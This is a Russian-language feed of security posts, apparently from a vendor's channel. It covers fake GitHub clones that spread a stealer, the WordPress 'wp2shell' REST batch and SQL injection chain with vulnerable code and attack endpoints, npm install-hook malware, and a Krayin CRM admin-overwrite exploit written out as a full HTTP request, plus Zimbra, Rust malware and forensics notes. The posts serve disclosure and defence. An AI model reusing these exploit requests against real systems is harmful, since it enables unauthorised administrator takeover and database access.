🎣 По README встречают, по малвари провожают: как раскусить фейковый репозиторий за 10 секунд

Злоумышленники вовсю паразитируют на теме блокировок и массовом поиске способов их обхода. Особенно достается популярному локальному tg-ws-proxy и аналогам. В некоторых поисковиках, например Яндексе, оригинальные ссылки временно удаляются и на самом верху выдачи образуется вакуум. Его моментально заполняют свежие вредоносные клоны, которые не успели попасть в бан-листы.

💡 Отдельная ловушка — сторонние зеркала GitHub. Пользователи доверяют им по инерции, но под капотом скачиваемого архива вполне может оказаться вредоносное ПО, которое в свою очередь умеет подчистую пылесосить не только сессии ваших браузеров, но и собирать важные файлы по конкретным расширениям.

Внешне подделка выглядит органично: мошенники подчистую копируют оформление README.md, сохраняют оригинальную верстку и даже реквизиты для донатов настоящему автору. Расчет идет исключительно на невнимательность и машинальные действия.

Чек-лист: 4 главных маркера фейка, которые выдадут его целиком и полностью

1️⃣ Возраст аккаунта: профиль «разработчика» обычно зарегистрирован пару недель назад.

2️⃣ История коммитов: вместо нормальной истории изменений весь код заливается за один раз через веб-интерфейс с унылой заглушкой Add files via upload.

3️⃣ Мертвая социальная активность: у клонов на счетчиках звезд и форков горят нули, а вкладка Issues (проблемы/обсуждения) часто отключена.

4️⃣ Инструкции: в README прямым текстом просят отключить антивирус или добавить папку в исключения Windows Defender, списывая на «ложное срабатывание из-за функционала». Никогда так не делайте, если не провели аудит кода лично.

Подробный разбор этой схемы и полный чек-лист безопасности читайте в нашей новой статье 🫡

wp2shell — разбираем от и до.

Это цепочка уязвимостей, которая состоит из таких элементов:

📍 CVE-2026-63030 — уязвимость путаницы маршрутизации конечной точки пакетного REST API. CWE-436.

📍 CVE-2026-60137 — уязвимость внедрения SQL-кода (SQL-инъекция). CWE-89.
wp2shell позволяет неавторизованному злоумышленнику выполнить произвольный код (RCE) в СMS Wordpress. Затронутые версии: 6.8.0–6.8.5; 6.9.0–6.9.4; 7.0.0– 7.0.1.

🫡 Об уязвимости:
Уязвимость находится в функции serve_batch_request_v1, которая обрабатывает пакетные запросы к /wp-json/batch/v1.

Функция создает два массива для обработки входящих подзапросов: $requests[] (сами запросы) и $matches[] (найденные для них обработчики).

Если путь одного из подзапросов некорректный (например, http://), функция wp_parse_url() возвращает false. В этом случае в массив $validation[] записывается ошибка (WP_Error), но запись в массив $matches[] не происходит (через continue).

Ниже показали часть уязвимого кода, полный код находится wp-includes/rest-api/class-wp-rest-server.php

foreach ( $batch_request['requests'] as $args ) {
            $parsed_url = wp_parse_url( $args['path'] );
            if ( false === $parsed_url ) {
                $requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) ); // запись ошибки для http:// 

                continue;
            }

            $single_request = new WP_REST_Request( $args['method'] ?? 'POST', $parsed_url['path'] );
 ....

$matches    = array();
$validation = array();
$has_error  = false;
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;  
        continue; // пропуск записи в $matches[]
    }

Из-за continue массивы $requests и $matches рассинхронизируются по индексам. Это позволяет одному подзапросу получить обработчик, предназначенный для другого.

Сдвиг индексов → Некорректный путь вызывает continue → Массивы $requests и $matches рассинхронизируются → Запросы получают чужие обработчики → Вложенный batch → Запрос /wp/v2/posts выполняется как batch → Внутри снова происходит сдвиг индексов → Запрос к /categories?author_exclude=SLEEP(2) получает обработчик /posts (скриншот) -> SQLi.

Уязвимость SQLi
author_exclude регистрируется как параметр типа array в get_collection_params().
В get_items() он мапится в author_not_in без проверки типа.
Из-за путаницы маршрутов параметр передается как строка.
WP_Query не санитизирует строковые значения. Строка попадает в SQL.

if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "

🫡 Возможные конечные точки:
Запрос:
– POST /wordpress/batch/v1 + тело запроса
– POST /?rest_route=/batch/v1 + тело запроса
– GET /?_method=POST&rest_route=/batch/v1&validation=normal + тело запроса
SQLi - "path": "/wp/v2/<API> author_exclude=<SQLi>

Пример одного из возможных запросов — на скриншоте.

🫡 Как защищаться:
1. Обновиться до версии 7.0.2.
2. Использовать WAF/IDS с настроенными правилами от SQLi.
3. Проверить систему на предмет подозрительных php-файлов.
4. Провести аудит запросов, где в качестве конечной точки или значения параметра выступал /batch/v1.
5. Временно ограничить доступ к /batch/v1 из внешней сети.

🫡 Ловите лабораторную — docker-compose.yml с уязвимым wordpress прикреплен к посту.
Запуск docker-compose up.

👀 Иногда npm install — это начало атаки

Вредоносный файл не обязательно выглядит как странный архив с названием virus_final.exe или фишинговое письмо, пришедшее вам на почту. Бывает, что это обычная библиотека, SDK, плагин или консольная утилита, которую разработчик устанавливает привычной командой npm install или pip install.

Например, что подозрительного в таком package.json?

"scripts": {
  "fmt": "prettier --write **/*.js",
  "fmt:check": "prettier --check **/*.js",
  "postinstall": "node ./install.js",
  "preinstall": "node setup_bun.js"
},
"artifactDownloadUrl": "https://github.com/PostHog/posthog/releases/download/posthog-cli-v0.5.14",
"bin": {
  "posthog-cli": "run-posthog-cli.js"
}

Неискушенный читатель подумает, что это обычный cli-проект, но именно такой preinstall в одном из пакетов начнёт масштабную supply-chain-кампанию — Shai-Hulud 2.0. Злоумышленники скомпрометировали аккаунты мейнтейнеров и опубликовали троянизированные версии популярных npm-пакетов. Вредоносный код запускался автоматически еще до завершения установки, собирал секреты разработчиков, токены GitHub, npm и облачных сервисов, а затем использовал их для дальнейшего распространения атаки. В результате были затронуты сотни пакетов и тысячи репозиториев.

Мы проанализировали сотни тысяч пакетов из npm и PyPI. Десятки тысяч образцов оказались вредоносными или подозрительными. Самая распространенная техника — запуск кода прямо во время установки зависимости.

В новой статье собрали большой каталог реальных примеров из npm и PyPI, разобрали повторяющиеся техники и показали, на какие комбинации признаков стоит писать правила детекта.

Читайте полный обзор open-source-вредоносов 🫡

😬 Полиморфизм как сервис и код «на вайбе»: что происходит с современной малварью?

Главный тренд последних лет в кибербезопасности — критическое падение порога входа. Доступность специализированных моделей (DarkLLM) привела к появлению vibeware — софта, создаваемого буквально по одному текстовому промпту. Злоумышленникам больше не нужно писать один идеальный бэкдор: проще штамповать тысячи дешевых мутаций под конкретную ОС или платформу.

Разобрали на пальцах и примерах из практики:
1️⃣ Как ИИ-код выдает себя излишней «вежливостью», странными эмодзи в консоли и стерильной архитектурой.
2️⃣ Почему C2-трафик, тонущий в обычных обращениях к SaaS-платформам, обходит сетевые фильтры.
3️⃣ Что делать защитникам, когда форма файла больше ничего не говорит об угрозе, а фокус смещается на поведенческий анализ.

Полный разбор в новой статье.

💣 Уязвимости в средствах AI-автоматизации

Средства AI-автоматизации всё активнее используются для работы с корпоративными данными, API, файловыми системами и другими элементами инфраструктуры. Вместе с расширением их возможностей увеличивается и потенциальная поверхность атаки.

В новой статье рассматриваем характерные уязвимости современных средств AI-автоматизации и основные связанные с ними риски.

На примерах n8n, OpenClaw, Claude Code, Langflow и Flowise разбираем типовые уязвимости и сценарии атак, а также приводим рекомендации, которые помогут снизить риски при эксплуатации таких решений.

👽 Подробнее читать здесь.

😀 Admin may cry
CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администратора в Krayin CRM ≤2.2.0, ≥2.2.4

Метрики:

Base Score: 9.8 CRITICAL
CWE: CWE-306

Об уязвимости
В Krayin CRM используется промежуточное ПО CanInstall для защиты конечных точек установщика, чтобы никто не мог получить к ним доступ после установки системы.
Условие проверки для всех конечных точек /install выглядит так:

if ($this->isAlreadyInstalled() && ! $request->ajax()) {
    return redirect()->route('admin.dashboard.index');
}

Логика построена на операторе  &&, поэтому защиту можно обойти, если отправить запрос к любой конечной точке /install/ с заголовком X-Requested-With: XMLHttpRequest, который используется в AJAX-запросах.
При этом:
isAlreadyInstalled() вернет true, так как приложение уже установлено;
! $request->ajax() станет false благодаря добавленному заголовку.
В итоге редирект на route('admin.dashboard.index') не сработает.

Конечная точка /install/api/admin-config-setup отвечает за настройку учетных данных первого пользователя системы — администратора.
Пример эксплойта:

POST /install/api/admin-config-setup HTTP/1.1
Host: 192.168.177.165:8021
Content-Type: application/json
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 69

{"admin":"whatIsIt","email":"AMC@evil.com","password":"WW1337!"}

Этот запрос переопределяет учетные данные администратора и дает неавторизованному пользователю доступ к системе с правами администратора.
Важно! Это лишь один из возможных векторов атаки. Уязвимость затрагивает весь маршрут /install.

Лаба:
sudo docker pull webkul/krayin:2.2.0
sudo docker run -p 8021:80 --name krayin-container webkul/krayin:2.2.0
Логин/Пароль: admin@example.com / admin123

✅ Как защититься:
1) обновиться до актуальной версии;
2) проверить логи на наличие запросов к /install с заголовком X-Requested-With: XMLHttpRequest;
3) ограничить доступ к /install из внешней сети интернет с помощью правил WAF или IDS.

💡 Разберемся с непопулярными артефактами на OffZone 2026

Выбираете, какие выступления посетить на конференции OffZone 2026? Несем один must-visit! Если вы работаете в цифровой форензике или просто ею интересуетесь, то приходите на доклад нашего эксперта Ивана Сюхина «DFIR, diggin’ deeper: неочевидные источники артефактов в DFIR-расследованиях».

Иван расскажет:
• что и как добывать из .etl;
• почему при наличии времени анализ образов принесет богатые плоды;
• какие неочевидные следы атакующих можно найти в error-логах;
• чем полезны SSSD-логи...

📅 …И кое-что еще о продвинутых способах цифровой криминалистики.
Просыпайтесь в пятницу, 21 августа, пораньше и приходите к 10:00 в Threat Zone!

☀️ Zimbra, все еще скрывающая боль

Ранее мы уже рассказывали о расследовании «Zimbra, скрывающая боль». Группировка Shedding Zmiy длительное время имела доступ к почтовой переписке организации, воспользовавшись уязвимостью в популярном почтовом сервере. Судя по всему, что-то похожее происходит вновь: недавно наши сенсоры зафиксировали множество исходящих подключений к серверам gs-netcat с почтовых серверов компаний, в которых ПО Zimbra не обновлялось с 2024 года (!).

Всего мы насчитали не менее 67 организаций:

• промышленность, производство и инженерия — 18 организаций;
• ИТ, телеком и цифровые сервисы — 9;
• строительство, недвижимость и строительные материалы — 8;
• агропромышленный сектор, производство продуктов и общепит — 8;
• транспорт, авиация, логистика и туризм — 7;
• розничная торговля и потребительские товары — 5;
• медиа и индустрия развлечений — 4;
• госсектор, образование и ЖКХ — 3;
• здравоохранение — 2;
• консалтинг и обслуживание систем безопасности — 2;
• поставки нефтепродуктов — 1.

Ранее мы встречали gs-netcat в основном в атаках группировок Shedding Zmiy, Lifting Zmiy и Proxy Trickster, но пока у нас нет достаточно данных, чтобы надежно атрибутировать новую волну атак.

✅ Если вы используете Zimbra, примите следующие меры:
• проверьте историю исходящих соединений почтового сервера, журналы событий, запущенные процессы и файлы, связанные с gs-netcat.
• Обратите внимание на запуск исполняемых файлов из временных и скрытых директорий, переменные GS_ARGS и GSOCKET_ARGS, а также процессы, маскирующиеся под системные.

При обнаружении такой активности сохраните артефакты и проведите оценку компрометации всей инфраструктуры. Простого обновления Zimbra или блокировки адресов может оказаться недостаточно, если атакующие уже закрепились на сервере.

😀 Call for Papers на технострим SOC Forum 2026 еще открыт!

Темы:

1️⃣ Offense: актуальные техники атак, этичный хакинг, выявление уязвимостей, новые инструменты и наступательные подходы.

2️⃣ Defense: актуальные технологии защиты, обнаружение угроз и реагирование на них, кейсы реальных атак и их разбор, анализ APT-группировок и их инструментов (DFIR, MA, TI, TH, SOC, VM).

3️⃣ Архитектура ИТ и ИБ: построение безопасных систем.

4️⃣ SOC-практикум: для тех, кто хочет обменяться опытом, лайфхаками и рабочими методиками.

😬 В основном на форуме планируют обсуждать ИИ в ИБ. Поэтому если у вас есть что сказать на эту тему — подавайтесь!

Тайминг: до 30 минут.
Дата и время: 27–28 октября, кластер «Ломоносов».

Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.

📅 Доклады принимаются по 11 сентября включительно.

Стать спикером

😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак

Когда стандартный аудит молчит, а инфраструктура уже зашифрована, распутывать инцидент приходится по нетипичным следам. Вот один из примеров.

Кейс: Первоначальный доступ через?..

Вводные. Инфраструктура зашифрована. Найдена зараженная система нулевого пациента, но на ней нет внешних сервисов, RDP закрыт, а саму машину перед анализом перезагрузили (цепочки процессов в памяти нет).
Зацепка. В журнале трассировки ShutdownPerfDiagLogger.etl (хранит данные о выключении системы) мы обнаружили следы команды реверс-шелла.

👀 Что помогло найти артефакт?
С помощью утилиты ETLParser из .etl-файла удалось вытащить Parent PID (ID родительского процесса). Цепочка привела к неожиданному «виновнику» — процесс PostgreSQL.
В логах самой СУБД обнаружились:
• Типичная RCE-команда через SQL-инъекцию.
• Фрагменты эксплойта и следы брутфорса, который шел несколько месяцев.

💡 Финал: откуда пришел атакующий?
Поскольку более ранних зараженных машин внутри сети не обнаружили, проверили бэкапы конфигурации шлюза pfSense. Выяснилось, что ранее порт 5432 (PostgreSQL) временно публиковался наружу. Через него злоумышленники пробили базу, получили системные привилегии и начали шифрование.

✅ Главные выводы для форензики:
• Не пренебрегайте ETL-журналами Windows — они могут сохранить критические данные (например, Parent PID), которых больше нет ни в одном артефакте после перезагрузки.
• Смотрите бэкапы конфигураций сетевых устройств — актуальные настройки могут скрывать следы «временных» брешей, через которые и зашли хакеры.

❤️ А самый главный вывод: копайте глубже! Еще больше примеров неочевидных источников артефактов собрали в новой статье у нас в блоге!

💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить

Rust окончательно закрепился в роли главного инструмента для усложнения жизни вирусным аналитикам. Недавно мы столкнулись подтверждением этого тренда: сильно обфусцированным образцом, который при первичном осмотре выглядел как сложная новая вредоносная программа, написанная с нуля на Rust.

По характерным признакам мы выявили, что это был знакомый SantaStealer, но слабо верилось, что автор всего за один-два месяца смог полностью его переписать на Rust и настолько тяжело обфусцировать. Да и сама изначальная логика быстрой работы стилера при таком подходе просто ломалась.

Реальность оказалась проще: саму малварь никто не переписывал, злоумышленники просто собрали вокруг нее многослойный «бутерброд»:
Ядро — классический SantaStealer, заточенный исключительно под быструю кражу данных.
Обертка — промежуточная DLL на Rust, маскирующая сигнатуры стилера.
Защита — сжатие растовой библиотеки алгоритмом LZMA и финальная упаковка под коммерческий виртуализатор Oreans CodeVirtualizer.

Этот случай наглядно иллюстрирует динамику последних лет. Переход малвари на нетипичные компилируемые языки (Rust, Go) наметился еще в районе 2023 года, когда уход от традиционного C/C++ только начинали обсуждать на Reddit и в профильных блогах.

Сегодня это мейнстрим. Операторы RansomExx в свое время переписали вымогатель на Rust ради обхода сигнатурных детектов, а авторы бэкдора SysJoker и вовсе свернули кодовые базы на C++ и Go в пользу единого растового билда. Масштаб этой тенденции стал настолько заметным, что этой теме сегодня все чаще посвящают отдельные статьи и аналитические материалы.

💡 Причина такой популярности проста. Злоумышленникам не нужна хваленая безопасность памяти (в малвари повсеместно используют unsafe) и редко критична производительность. Главная цель — намеренное разрушение статического анализа:

1️⃣ Статическая линковка: стандартные библиотеки и рантайм языка намертво зашиваются в бинарник, раздувая его до десятков мегабайт.

2️⃣ Каша в дизассемблере: развитая система типов, сложные абстракции и специфичная обработка паник превращают граф вызовов в IDA Pro или Ghidra в трудночитаемое полотно.

3️⃣ Низкий порог входа: благодаря генеративным нейросетям и публичным шаблонам на GitHub даже начинающим операторам достаточно пары запросов, чтобы собрать рабочий растовый лоадер, завернуть в него чужой стилер и натянуть готовый протектор.

Однако Rust и виртуализация бессильны перед динамикой. Как бы глубоко ни прятали логику, процессу все равно нужно взаимодействовать с системой: выделять память, обращаться к файлам браузеров и слать данные на C2. В рантайме такая переусложненная цепочка мгновенно триггерит EDR и песочницы характерными вызовами и другой аномальной активностью.

✅ Как понять, что на реверс Rust-бинарника не стоит тратить время:

1️⃣ В песочнице видны маркеры распаковщика/инжектора. К примеру, если процесс использует VirtualAlloc/NtAllocateVirtualMemory с правами RWX, пишет данные и создает поток — это обычный стейджер. Распутывать растовую инициализацию бессмысленно.
В данном случае удобна утилита API Monitor, особенно если полезная нагрузка инжектится через WriteProcessMemory, поскольку программа может сразу перехватить записываемый буфер.

2️⃣ Полезную нагрузку можно забрать из памяти. Снять чистый дамп процесса (через брейкпоинты, pe-sieve, HollowsHunter) получится только в том случае, если под виртуализатором спрятан дроппер, раскручивающий пейлоад в память. Если виртуализирован сам стиллер, сдампить исходный исполняемый код не выйдет — тут придется разбирать байткод ВМ. В нашем случае под защитой был лишь лоадер.

3️⃣ Сетевые и файловые IoC уже зафиксированы. Если инфраструктура C2, извлекаемые пути и ключи реестра перехвачены в динамике, глубокий реверс растовой обертки может не дать ничего нового.
Разбирать растовый код до последнего опкода имеет смысл только тогда, когда в него зашита уникальная логика или виртуализирован сам вредоносный функционал. Если же Rust выступает просто упакованным лоадером чужого софта, динамика экономит десятки часов работы.